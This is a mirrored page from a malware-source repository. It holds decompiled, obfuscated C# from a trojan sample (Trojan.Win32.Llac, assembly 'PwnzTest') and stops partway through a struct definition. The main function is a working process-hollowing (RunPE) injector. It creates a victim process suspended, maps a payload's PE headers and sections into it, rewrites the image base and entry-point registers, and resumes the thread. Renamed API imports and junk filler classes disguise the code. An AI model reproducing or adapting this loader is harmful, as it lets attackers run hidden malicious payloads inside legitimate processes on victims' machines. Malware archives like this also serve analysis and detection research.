mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
954 lines
32 KiB
C#
954 lines
32 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: dofgdgpd9d0s
|
|
// Assembly: PwnzTest, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 631E39F5-1CA8-4C07-9995-19D9DD762690
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aujq-2899a5ffe6277f7b0edb8caed92e38de7a399fdb7bb9c5805376f2b5b6aeb2ec.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.Runtime.InteropServices;
|
|
|
|
internal class dofgdgpd9d0s
|
|
{
|
|
public const int CONTEXT_X86 = 65536;
|
|
public const int CONTEXT86_CONTROL = 65537;
|
|
public const int CONTEXT86_INTEGER = 65538;
|
|
public const int CONTEXT86_SEGMENTS = 65540;
|
|
public const int CONTEXT86_FLOATING_POINT = 65544;
|
|
public const int CONTEXT86_DEBUG_REGISTERS = 65552;
|
|
public const int CONTEXT86_FULL = 65543;
|
|
public const int CREATE_SUSPENDED = 4;
|
|
public const long MEM_COMMIT = 4096;
|
|
public const long MEM_RESERVE = 8192;
|
|
public const long PAGE_NOCACHE = 512;
|
|
public const long PAGE_EXECUTE_READWRITE = 64;
|
|
public const long PAGE_EXECUTE_WRITECOPY = 128;
|
|
public const long PAGE_EXECUTE_READ = 32;
|
|
public const long PAGE_EXECUTE = 16;
|
|
public const long PAGE_WRITECOPY = 8;
|
|
public const long PAGE_NOACCESS = 1;
|
|
public const long PAGE_READWRITE = 4;
|
|
private const int GENERIC_READ = -2147483648;
|
|
private const uint FILE_SHARE_READ = 1;
|
|
private const uint OPEN_EXISTING = 3;
|
|
private const uint FILE_ATTRIBUTE_NORMAL = 128;
|
|
private const int INVALID_HANDLE_VALUE = -1;
|
|
private const uint PAGE_READONLY = 2;
|
|
private const uint FILE_MAP_READ = 4;
|
|
private const ushort IMAGE_DOS_SIGNATURE = 23117;
|
|
private const int RT_VERSION = 16;
|
|
|
|
[DllImport("kernel32.dll")]
|
|
private static extern uint dfioju8f9fdh(IntPtr gi990f90idhdh);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
private static extern bool dfi3435oju8f9fdh(
|
|
IntPtr gi990f90idhdh,
|
|
ref dofgdgpd9d0s.CONTEXT kf90ggfi90fhhfxz);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
private static extern bool joigu89fd89ugdf(
|
|
IntPtr gi990f90idhdh,
|
|
ref dofgdgpd9d0s.CONTEXT kf90ggfi90fhhfxz);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
private static extern int ki90f9disfdfg(string kf90ggfi94430fhhfxz);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
private static extern bool ki90f9dfddfdisfdfg(
|
|
string kf90gxccgfi94430fhhfxz,
|
|
string yhtg34sdf,
|
|
ref dofgdgpd9d0s.SECURITY_ATTRIBUTES yhtgrttr34sdf,
|
|
ref dofgdgpd9d0s.SECURITY_ATTRIBUTES yhtgrttrfghf34sdf,
|
|
bool jmnjt53tsegetd,
|
|
uint jmnjt53tsegetfgfgd,
|
|
IntPtr jmnjt53tsefgfggetfgfgd,
|
|
string jmnjt53tsefgfggetfghffhhgfgd,
|
|
[In] ref dofgdgpd9d0s.STARTUPINFO gh654gfdhdf,
|
|
out dofgdgpd9d0s.PROCESS_INFORMATION gh6yy64tgdghhh);
|
|
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
|
public static extern bool ki90f9dfddfdisf3r4fdfg(
|
|
IntPtr fdgi9090gdgd,
|
|
IntPtr jfg89fdg8u9df8u9h,
|
|
byte[] jfg89fdfddfdg8u9df8u9h,
|
|
int jfg89fdfddfcvcvcdg8u9df8u9h,
|
|
out int kopfg0990iddfhzzx);
|
|
|
|
[DllImport("kernel32.dll", EntryPoint = "ki90f9dfddfdisf3r4fdfg", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
|
public static extern bool nnjv89vsdfsggsa(
|
|
IntPtr fdgi9090gdgd,
|
|
IntPtr jfg89fdg8u9df8u9h,
|
|
IntPtr jfg89fdfddfdg8u9df8u9h,
|
|
int jfg89fdfddfcvcvcdg8u9df8u9h,
|
|
out int kopfg0990iddfhzzx);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
public static extern int nnjv89v45sdfsgggsa(
|
|
IntPtr fdgi9090gdgd,
|
|
int jfg89fdg8u9df8u9h,
|
|
ref IntPtr jfg89fdfddfdg8u9df8u9h,
|
|
int gi90ffdhfiozxcdf,
|
|
ref int gi90fffgfgfdhfiozxcdf);
|
|
|
|
[DllImport("ntdll.dll")]
|
|
public static extern long nn34fjv89v45sdfsgggsa(IntPtr fdgi9090gdgd, IntPtr opfg90df90ihdh);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
public static extern IntPtr nn34fjv89v45sdfsg45tggsa(
|
|
IntPtr fdgi9090gdgd,
|
|
IntPtr opfdfdg90df90ihdh,
|
|
uint opfdfdg90dffgfg0ihdh,
|
|
uint fopkopiowjicbbv4f,
|
|
uint fopkopiowj3443icbbv4f);
|
|
|
|
[DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
|
|
public static extern int kioioijsfu89dg(
|
|
IntPtr fdgi9090gdgd,
|
|
IntPtr opfdfdg90df90ihdh,
|
|
UIntPtr opfdfdg90dffgfg0ihdh,
|
|
UIntPtr xggvxcgvxcdgvcdh98cx,
|
|
[Out] uint xggvxcgvxcdg34545vcdh98cx);
|
|
|
|
public static void ccvxbfr54fd(byte[] b, string sVictim)
|
|
{
|
|
int num1 = 1;
|
|
int num2 = 0;
|
|
dofgdgpd9d0s.CONTEXT kf90ggfi90fhhfxz = new dofgdgpd9d0s.CONTEXT();
|
|
int num3 = 0;
|
|
dofgdgpd9d0s.PROCESS_INFORMATION gh6yy64tgdghhh = new dofgdgpd9d0s.PROCESS_INFORMATION();
|
|
int num4 = 0;
|
|
dofgdgpd9d0s.STARTUPINFO gh654gfdhdf = new dofgdgpd9d0s.STARTUPINFO();
|
|
dofgdgpd9d0s.SECURITY_ATTRIBUTES yhtgrttr34sdf = new dofgdgpd9d0s.SECURITY_ATTRIBUTES();
|
|
dofgdgpd9d0s.SECURITY_ATTRIBUTES yhtgrttrfghf34sdf = new dofgdgpd9d0s.SECURITY_ATTRIBUTES();
|
|
GCHandle gcHandle = GCHandle.Alloc((object) b, GCHandleType.Pinned);
|
|
num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3);
|
|
IntPtr ptr = gcHandle.AddrOfPinnedObject();
|
|
int int32 = ptr.ToInt32();
|
|
dofgdgpd9d0s.IMAGE_DOS_HEADER imageDosHeader1;
|
|
object structure1 = Marshal.PtrToStructure(gcHandle.AddrOfPinnedObject(), imageDosHeader1.GetType());
|
|
dofgdgpd9d0s.IMAGE_DOS_HEADER imageDosHeader2;
|
|
dofgdgpd9d0s.IMAGE_DOS_HEADER imageDosHeader3 = structure1 != null ? (dofgdgpd9d0s.IMAGE_DOS_HEADER) structure1 : imageDosHeader2;
|
|
gcHandle.Free();
|
|
IntPtr jmnjt53tsefgfggetfgfgd;
|
|
if (-(dofgdgpd9d0s.ki90f9dfddfdisfdfg((string) null, sVictim, ref yhtgrttr34sdf, ref yhtgrttrfghf34sdf, false, 4U, jmnjt53tsefgfggetfgfgd, (string) null, ref gh654gfdhdf, out gh6yy64tgdghhh) ? 1 : 0) == 0)
|
|
return;
|
|
ptr = new IntPtr(checked (int32 + imageDosHeader3.e_lfanew));
|
|
dofgdgpd9d0s.IMAGE_NT_HEADERS imageNtHeaders1;
|
|
object structure2 = Marshal.PtrToStructure(ptr, imageNtHeaders1.GetType());
|
|
dofgdgpd9d0s.IMAGE_NT_HEADERS imageNtHeaders2;
|
|
dofgdgpd9d0s.IMAGE_NT_HEADERS imageNtHeaders3 = structure2 != null ? (dofgdgpd9d0s.IMAGE_NT_HEADERS) structure2 : imageNtHeaders2;
|
|
gh654gfdhdf.cb = Strings.Len((object) gh654gfdhdf);
|
|
kf90ggfi90fhhfxz.ContextFlags = 65538U;
|
|
if (imageNtHeaders3.Signature != 17744U | imageDosHeader3.e_magic != (ushort) 23117)
|
|
return;
|
|
num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3);
|
|
int num5 = dofgdgpd9d0s.dfi3435oju8f9fdh(gh6yy64tgdghhh.gi990f90idhdh, ref kf90ggfi90fhhfxz) ? 1 : 0;
|
|
IntPtr fdgi9090gdgd1 = gh6yy64tgdghhh.fdgi9090gdgd;
|
|
int jfg89fdg8u9df8u9h1 = checked ((int) ((long) kf90ggfi90fhhfxz.Ebx + 8L));
|
|
long num6;
|
|
ptr = (IntPtr) num6;
|
|
ref IntPtr local1 = ref ptr;
|
|
int num7 = 0;
|
|
ref int local2 = ref num7;
|
|
int num8 = dofgdgpd9d0s.nnjv89v45sdfsgggsa(fdgi9090gdgd1, jfg89fdg8u9df8u9h1, ref local1, 4, ref local2);
|
|
long num9 = (long) ptr;
|
|
int num10 = num8 >= 0 ? 1 : 0;
|
|
if ((num5 & num10 & (dofgdgpd9d0s.nn34fjv89v45sdfsgggsa(gh6yy64tgdghhh.fdgi9090gdgd, (IntPtr) num9) >= 0L ? 1 : 0)) == 0)
|
|
return;
|
|
uint num11 = checked ((uint) (int) dofgdgpd9d0s.nn34fjv89v45sdfsg45tggsa(gh6yy64tgdghhh.fdgi9090gdgd, (IntPtr) (long) imageNtHeaders3.OptionalHeader.ImageBase, imageNtHeaders3.OptionalHeader.SizeOfImage, 12288U, 4U));
|
|
if (num11 == 0U)
|
|
return;
|
|
num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3);
|
|
IntPtr fdgi9090gdgd2 = gh6yy64tgdghhh.fdgi9090gdgd;
|
|
IntPtr jfg89fdg8u9df8u9h2 = (IntPtr) (long) num11;
|
|
byte[] jfg89fdfddfdg8u9df8u9h1 = b;
|
|
int sizeOfHeaders = checked ((int) imageNtHeaders3.OptionalHeader.SizeOfHeaders);
|
|
uint num12;
|
|
int num13 = checked ((int) num12);
|
|
ref int local3 = ref num13;
|
|
dofgdgpd9d0s.ki90f9dfddfdisf3r4fdfg(fdgi9090gdgd2, jfg89fdg8u9df8u9h2, jfg89fdfddfdg8u9df8u9h1, sizeOfHeaders, out local3);
|
|
uint num14 = checked ((uint) num13);
|
|
long num15 = (long) checked (imageDosHeader3.e_lfanew + 248);
|
|
int num16 = checked ((int) imageNtHeaders3.FileHeader.NumberOfSections - 1);
|
|
int num17 = 0;
|
|
while (num17 <= num16)
|
|
{
|
|
num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3);
|
|
ptr = new IntPtr(checked ((long) int32 + num15 + (long) (num17 * 40)));
|
|
dofgdgpd9d0s.IMAGE_SECTION_HEADER imageSectionHeader1;
|
|
object structure3 = Marshal.PtrToStructure(ptr, imageSectionHeader1.GetType());
|
|
dofgdgpd9d0s.IMAGE_SECTION_HEADER imageSectionHeader2;
|
|
imageSectionHeader1 = structure3 != null ? (dofgdgpd9d0s.IMAGE_SECTION_HEADER) structure3 : imageSectionHeader2;
|
|
num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3);
|
|
byte[] numArray = new byte[checked ((int) imageSectionHeader1.SizeOfRawData + 1)];
|
|
int num18 = checked ((int) ((long) imageSectionHeader1.SizeOfRawData - 1L));
|
|
int index = 0;
|
|
while (index <= num18)
|
|
{
|
|
num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3);
|
|
numArray[index] = b[checked ((int) ((long) imageSectionHeader1.PointerToRawData + (long) index))];
|
|
num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3);
|
|
checked { ++index; }
|
|
}
|
|
IntPtr fdgi9090gdgd3 = gh6yy64tgdghhh.fdgi9090gdgd;
|
|
IntPtr jfg89fdg8u9df8u9h3 = (IntPtr) (long) checked (num11 + imageSectionHeader1.VirtualAddress);
|
|
byte[] jfg89fdfddfdg8u9df8u9h2 = numArray;
|
|
int sizeOfRawData = checked ((int) imageSectionHeader1.SizeOfRawData);
|
|
num13 = checked ((int) num14);
|
|
ref int local4 = ref num13;
|
|
dofgdgpd9d0s.ki90f9dfddfdisf3r4fdfg(fdgi9090gdgd3, jfg89fdg8u9df8u9h3, jfg89fdfddfdg8u9df8u9h2, sizeOfRawData, out local4);
|
|
num14 = checked ((uint) num13);
|
|
num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3);
|
|
dofgdgpd9d0s.kioioijsfu89dg(gh6yy64tgdghhh.fdgi9090gdgd, (IntPtr) (long) checked (num11 + imageSectionHeader1.VirtualAddress), (UIntPtr) imageSectionHeader1.Misc.VirtualSize, (UIntPtr) checked ((ulong) dofgdgpd9d0s.jiojiofgjibx((long) imageSectionHeader1.ioiofjg89dfu89fg)), checked ((uint) num9));
|
|
checked { ++num17; }
|
|
}
|
|
byte[] bytes = BitConverter.GetBytes(num11);
|
|
IntPtr fdgi9090gdgd4 = gh6yy64tgdghhh.fdgi9090gdgd;
|
|
IntPtr jfg89fdg8u9df8u9h4 = (IntPtr) checked ((long) kf90ggfi90fhhfxz.Ebx + 8L);
|
|
byte[] jfg89fdfddfdg8u9df8u9h3 = bytes;
|
|
num13 = checked ((int) num14);
|
|
ref int local5 = ref num13;
|
|
dofgdgpd9d0s.ki90f9dfddfdisf3r4fdfg(fdgi9090gdgd4, jfg89fdg8u9df8u9h4, jfg89fdfddfdg8u9df8u9h3, 4, out local5);
|
|
num12 = checked ((uint) num13);
|
|
num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3);
|
|
kf90ggfi90fhhfxz.Eax = checked (num11 + imageNtHeaders3.OptionalHeader.AddressOfEntryPoint);
|
|
dofgdgpd9d0s.joigu89fd89ugdf(gh6yy64tgdghhh.gi990f90idhdh, ref kf90ggfi90fhhfxz);
|
|
num1 = num2 != num3 ? checked (num4 - 35878257) : checked (num4 + num3);
|
|
int num19 = (int) dofgdgpd9d0s.dfioju8f9fdh(gh6yy64tgdghhh.gi990f90idhdh);
|
|
if (num2 == num3)
|
|
num1 = checked (num4 + num3);
|
|
else
|
|
num1 = checked (num4 - 35878257);
|
|
}
|
|
|
|
private static long jiojiofgjibx(long ioiofjg89dfu89fg) => Conversions.ToLong(new object[8]
|
|
{
|
|
(object) 1L,
|
|
(object) 16L,
|
|
(object) 2U,
|
|
(object) 32L,
|
|
(object) 4L,
|
|
(object) 64L,
|
|
(object) 4L,
|
|
(object) 64L
|
|
}[checked ((int) dofgdgpd9d0s.fi9g9ffgfgdh9h(ioiofjg89dfu89fg, 29L))]);
|
|
|
|
private static long fi9g9ffgfgdh9h(long opgk90fhgfj, long ikfigf90g89fgug)
|
|
{
|
|
int x = checked (4 - 2);
|
|
return checked ((long) Math.Round(unchecked (dofgdgpd9d0s.fi9g9fdh9h(opgk90fhgfj) / Math.Pow((double) x, (double) ikfigf90g89fgug))));
|
|
}
|
|
|
|
private static double fi9g9fdh9h(long opgkdfdf90fhgfj)
|
|
{
|
|
int num1 = 0;
|
|
int num2 = num1 != 29853 ? checked (num1 - 458743) : checked (num1 + 345);
|
|
double num3;
|
|
if (opgkdfdf90fhgfj < 0L)
|
|
{
|
|
num3 = (double) opgkdfdf90fhgfj + 4294967296.0;
|
|
int num4 = num2 != 29853 ? checked (num2 - 458743) : checked (num2 + 345);
|
|
}
|
|
else
|
|
num3 = (double) opgkdfdf90fhgfj;
|
|
return num3;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
|
public struct STARTUPINFO
|
|
{
|
|
public int cb;
|
|
public string lpReserved;
|
|
public string lpDesktop;
|
|
public string lpTitle;
|
|
public int dwX;
|
|
public int dwY;
|
|
public int dwXSize;
|
|
public int dwYSize;
|
|
public int dwXCountChars;
|
|
public int dwYCountChars;
|
|
public int dwFillAttribute;
|
|
public int dwFlags;
|
|
public short wShowWindow;
|
|
public short cbReserved2;
|
|
public int lpReserved2;
|
|
public int hStdInput;
|
|
public int hStdOutput;
|
|
public int hStdError;
|
|
|
|
public class kpfdvxxbdvbcbcfg9089df
|
|
{
|
|
private string YaJAh92LgGExUle0UPVgyQa51S77S4gdsiud;
|
|
private int wp8A1qWD3CNa3woxNna1nYc96jgdikfd;
|
|
private int KRyplOPki545hl6d4B8OKtZI6ODY7Ba616pqDm1OFfxgjgijgigd;
|
|
|
|
public kpfdvxxbdvbcbcfg9089df()
|
|
{
|
|
this.YaJAh92LgGExUle0UPVgyQa51S77S4gdsiud = "dfkodfpogjdf";
|
|
this.wp8A1qWD3CNa3woxNna1nYc96jgdikfd = 0;
|
|
this.KRyplOPki545hl6d4B8OKtZI6ODY7Ba616pqDm1OFfxgjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.YaJAh92LgGExUle0UPVgyQa51S77S4gdsiud) > 0.0)
|
|
checked { ++this.wp8A1qWD3CNa3woxNna1nYc96jgdikfd; }
|
|
else
|
|
checked { this.KRyplOPki545hl6d4B8OKtZI6ODY7Ba616pqDm1OFfxgjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
}
|
|
|
|
private struct PROCESS_INFORMATION
|
|
{
|
|
public IntPtr fdgi9090gdgd;
|
|
public IntPtr gi990f90idhdh;
|
|
public int dwProcessId;
|
|
public int dwThreadId;
|
|
|
|
public class ffjg211222duinbnvvhgud
|
|
{
|
|
private string RDTES7Fxek795xNeBJgdsiud;
|
|
private int L021arDYe5JfZftDT8358jgdikfd;
|
|
private int OWlO29T86mvOfHEgjgijgigd;
|
|
|
|
public ffjg211222duinbnvvhgud()
|
|
{
|
|
this.RDTES7Fxek795xNeBJgdsiud = "dfkodfpogjdf";
|
|
this.L021arDYe5JfZftDT8358jgdikfd = 0;
|
|
this.OWlO29T86mvOfHEgjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.RDTES7Fxek795xNeBJgdsiud) > 0.0)
|
|
checked { ++this.L021arDYe5JfZftDT8358jgdikfd; }
|
|
else
|
|
checked { this.OWlO29T86mvOfHEgjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
}
|
|
|
|
private struct IMAGE_DOS_HEADER
|
|
{
|
|
public ushort e_magic;
|
|
public ushort e_cblp;
|
|
public ushort e_cp;
|
|
public ushort e_crlc;
|
|
public ushort e_cparhdr;
|
|
public ushort e_minalloc;
|
|
public ushort e_maxalloc;
|
|
public ushort e_ss;
|
|
public ushort e_sp;
|
|
public ushort e_csum;
|
|
public ushort e_ip;
|
|
public ushort e_cs;
|
|
public ushort e_lfarlc;
|
|
public ushort e_ovno;
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
|
|
public ushort[] e_res1;
|
|
public ushort e_oemid;
|
|
public ushort e_oeminfo;
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
|
|
public ushort[] e_res2;
|
|
public int e_lfanew;
|
|
|
|
public class ffxcvvjg211222duihgud
|
|
{
|
|
private string R09F4H38Za3s9iG38NT930ogdsiud;
|
|
private int GcSKaII0m5GShenGQq1qm545JPzZs0A80J1J1jgdikfd;
|
|
private int O851F5IgKlp82q17x4w4X640xYTyagjgijgigd;
|
|
|
|
public ffxcvvjg211222duihgud()
|
|
{
|
|
this.R09F4H38Za3s9iG38NT930ogdsiud = "dfkodfpogjdf";
|
|
this.GcSKaII0m5GShenGQq1qm545JPzZs0A80J1J1jgdikfd = 0;
|
|
this.O851F5IgKlp82q17x4w4X640xYTyagjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.R09F4H38Za3s9iG38NT930ogdsiud) > 0.0)
|
|
checked { ++this.GcSKaII0m5GShenGQq1qm545JPzZs0A80J1J1jgdikfd; }
|
|
else
|
|
checked { this.O851F5IgKlp82q17x4w4X640xYTyagjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
|
private struct VS_VERSIONINFO
|
|
{
|
|
public ushort wLength;
|
|
public ushort wValueLength;
|
|
public ushort wType;
|
|
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 15)]
|
|
public string szKey;
|
|
public ushort Padding1;
|
|
|
|
public class ffjg23525611222duihgud
|
|
{
|
|
private string SfG1P6PFxVgc0538gdsiud;
|
|
private int wW6aSpWazKPjgdikfd;
|
|
private int XYKz0KzxV1xtQfuiRgjgijgigd;
|
|
|
|
public ffjg23525611222duihgud()
|
|
{
|
|
this.SfG1P6PFxVgc0538gdsiud = "dfkodfpogjdf";
|
|
this.wW6aSpWazKPjgdikfd = 0;
|
|
this.XYKz0KzxV1xtQfuiRgjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.SfG1P6PFxVgc0538gdsiud) > 0.0)
|
|
checked { ++this.wW6aSpWazKPjgdikfd; }
|
|
else
|
|
checked { this.XYKz0KzxV1xtQfuiRgjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
}
|
|
|
|
public struct SECURITY_ATTRIBUTES
|
|
{
|
|
public int nLength;
|
|
public IntPtr lpSecurityDescriptor;
|
|
public int bInheritHandle;
|
|
}
|
|
|
|
private struct VS_FIXEDFILEINFO
|
|
{
|
|
public uint dwSignature;
|
|
public uint dwStrucVersion;
|
|
public uint dwFileVersionMS;
|
|
public uint dwFileVersionLS;
|
|
public uint dwProductVersionMS;
|
|
public uint dwProductVersionLS;
|
|
public uint dwFileFlagsMask;
|
|
public uint dwFileFlags;
|
|
public uint dwFileOS;
|
|
public uint dwFileType;
|
|
public uint dwFileSubtype;
|
|
public uint dwFileDateMS;
|
|
public uint dwFileDateLS;
|
|
|
|
public class ffjg211222duhjihgud
|
|
{
|
|
private string vUw3D71l759jixA7N3q44gdsiud;
|
|
private int matzab81FAKOmAURfLIE0s45423c8cn58r26VG507S0093jgdikfd;
|
|
private int yF98RnCCCZl1Sby5wDANCc1z9vjNBCte849F6gjgijgigd;
|
|
|
|
public ffjg211222duhjihgud()
|
|
{
|
|
this.vUw3D71l759jixA7N3q44gdsiud = "dfkodfpogjdf";
|
|
this.matzab81FAKOmAURfLIE0s45423c8cn58r26VG507S0093jgdikfd = 0;
|
|
this.yF98RnCCCZl1Sby5wDANCc1z9vjNBCte849F6gjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.vUw3D71l759jixA7N3q44gdsiud) > 0.0)
|
|
checked { ++this.matzab81FAKOmAURfLIE0s45423c8cn58r26VG507S0093jgdikfd; }
|
|
else
|
|
checked { this.yF98RnCCCZl1Sby5wDANCc1z9vjNBCte849F6gjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
|
|
public class vbbu9fdvfgfgdf8b
|
|
{
|
|
private string h7ZQFBI2s5dlK4g029MlvMgszwgdsiud;
|
|
private int VZm214C40FYw90Yv9Zjgdikfd;
|
|
private int a7TnJOT2x6Zn174Y62LE3541oAIaMA8qF6TF69Y2rKgjgijgigd;
|
|
|
|
public vbbu9fdvfgfgdf8b()
|
|
{
|
|
this.h7ZQFBI2s5dlK4g029MlvMgszwgdsiud = "dfkodfpogjdf";
|
|
this.VZm214C40FYw90Yv9Zjgdikfd = 0;
|
|
this.a7TnJOT2x6Zn174Y62LE3541oAIaMA8qF6TF69Y2rKgjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.h7ZQFBI2s5dlK4g029MlvMgszwgdsiud) > 0.0)
|
|
checked { ++this.VZm214C40FYw90Yv9Zjgdikfd; }
|
|
else
|
|
checked { this.a7TnJOT2x6Zn174Y62LE3541oAIaMA8qF6TF69Y2rKgjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
}
|
|
|
|
public struct FLOATING_SAVE_AREA
|
|
{
|
|
public uint ControlWord;
|
|
public uint StatusWord;
|
|
public uint TagWord;
|
|
public uint ErrorOffset;
|
|
public uint ErrorSelector;
|
|
public uint DataOffset;
|
|
public uint DataSelector;
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)]
|
|
public byte[] RegisterArea;
|
|
public uint Cr0NpxState;
|
|
|
|
public class ffjgio89vjhnihgud
|
|
{
|
|
private string x3VRg6LE76E5KZQp7C744F6KHeU73P2s25CA46T5Qgdsiud;
|
|
private int yo8hpS9msdYgaSQjgdikfd;
|
|
private int joky88q05Dgjgijgigd;
|
|
|
|
public ffjgio89vjhnihgud()
|
|
{
|
|
this.x3VRg6LE76E5KZQp7C744F6KHeU73P2s25CA46T5Qgdsiud = "dfkodfpogjdf";
|
|
this.yo8hpS9msdYgaSQjgdikfd = 0;
|
|
this.joky88q05Dgjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.x3VRg6LE76E5KZQp7C744F6KHeU73P2s25CA46T5Qgdsiud) > 0.0)
|
|
checked { ++this.yo8hpS9msdYgaSQjgdikfd; }
|
|
else
|
|
checked { this.joky88q05Dgjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
}
|
|
|
|
public struct CONTEXT
|
|
{
|
|
public uint ContextFlags;
|
|
public uint Dr0;
|
|
public uint Dr1;
|
|
public uint Dr2;
|
|
public uint Dr3;
|
|
public uint Dr6;
|
|
public uint Dr7;
|
|
public dofgdgpd9d0s.FLOATING_SAVE_AREA FloatSave;
|
|
public uint SegGs;
|
|
public uint SegFs;
|
|
public uint SegEs;
|
|
public uint SegDs;
|
|
public uint Edi;
|
|
public uint Esi;
|
|
public uint Ebx;
|
|
public uint Edx;
|
|
public uint Ecx;
|
|
public uint Eax;
|
|
public uint Ebp;
|
|
public uint Eip;
|
|
public uint SegCs;
|
|
public uint EFlags;
|
|
public uint Esp;
|
|
public uint SegSs;
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
|
|
public byte[] ExtendedRegisters;
|
|
}
|
|
|
|
public struct IMAGE_OPTIONAL_HEADER32
|
|
{
|
|
public ushort Magic;
|
|
public byte MajorLinkerVersion;
|
|
public byte MinorLinkerVersion;
|
|
public uint SizeOfCode;
|
|
public uint SizeOfInitializedData;
|
|
public uint SizeOfUninitializedData;
|
|
public uint AddressOfEntryPoint;
|
|
public uint BaseOfCode;
|
|
public uint BaseOfData;
|
|
public uint ImageBase;
|
|
public uint SectionAlignment;
|
|
public uint FileAlignment;
|
|
public ushort MajorOperatingSystemVersion;
|
|
public ushort MinorOperatingSystemVersion;
|
|
public ushort MajorImageVersion;
|
|
public ushort MinorImageVersion;
|
|
public ushort MajorSubsystemVersion;
|
|
public ushort MinorSubsystemVersion;
|
|
public uint Win32VersionValue;
|
|
public uint SizeOfImage;
|
|
public uint SizeOfHeaders;
|
|
public uint CheckSum;
|
|
public ushort Subsystem;
|
|
public ushort DllCharacteristics;
|
|
public uint SizeOfStackReserve;
|
|
public uint SizeOfStackCommit;
|
|
public uint SizeOfHeapReserve;
|
|
public uint SizeOfHeapCommit;
|
|
public uint LoaderFlags;
|
|
public uint NumberOfRvaAndSizes;
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
|
|
public dofgdgpd9d0s.IMAGE_DATA_DIRECTORY[] DataDirectory;
|
|
|
|
public class vbbu9fdvbbcvvfgfgdf8b
|
|
{
|
|
private string P4IKZY3qwFG2Xxgdsiud;
|
|
private int YaKrAKT2NbDD9m1UDjx09W8N9K8VkfY1jgdikfd;
|
|
private int lJrTcXD8698awOyZgjgijgigd;
|
|
|
|
public vbbu9fdvbbcvvfgfgdf8b()
|
|
{
|
|
this.P4IKZY3qwFG2Xxgdsiud = "dfkodfpogjdf";
|
|
this.YaKrAKT2NbDD9m1UDjx09W8N9K8VkfY1jgdikfd = 0;
|
|
this.lJrTcXD8698awOyZgjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.P4IKZY3qwFG2Xxgdsiud) > 0.0)
|
|
checked { ++this.YaKrAKT2NbDD9m1UDjx09W8N9K8VkfY1jgdikfd; }
|
|
else
|
|
checked { this.lJrTcXD8698awOyZgjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
|
|
public class fgj8nmhmhmm9gdfhdfg
|
|
{
|
|
private string Ry4R21gdsiud;
|
|
private int yJ2C0553CY2MAxu0Rc0q294jgdikfd;
|
|
private int zuRA317S12C46g3P1nA3R7gjgijgigd;
|
|
|
|
public fgj8nmhmhmm9gdfhdfg()
|
|
{
|
|
this.Ry4R21gdsiud = "dfkodfpogjdf";
|
|
this.yJ2C0553CY2MAxu0Rc0q294jgdikfd = 0;
|
|
this.zuRA317S12C46g3P1nA3R7gjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.Ry4R21gdsiud) > 0.0)
|
|
checked { ++this.yJ2C0553CY2MAxu0Rc0q294jgdikfd; }
|
|
else
|
|
checked { this.zuRA317S12C46g3P1nA3R7gjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
}
|
|
|
|
public struct IMAGE_FILE_HEADER
|
|
{
|
|
public ushort Machine;
|
|
public ushort NumberOfSections;
|
|
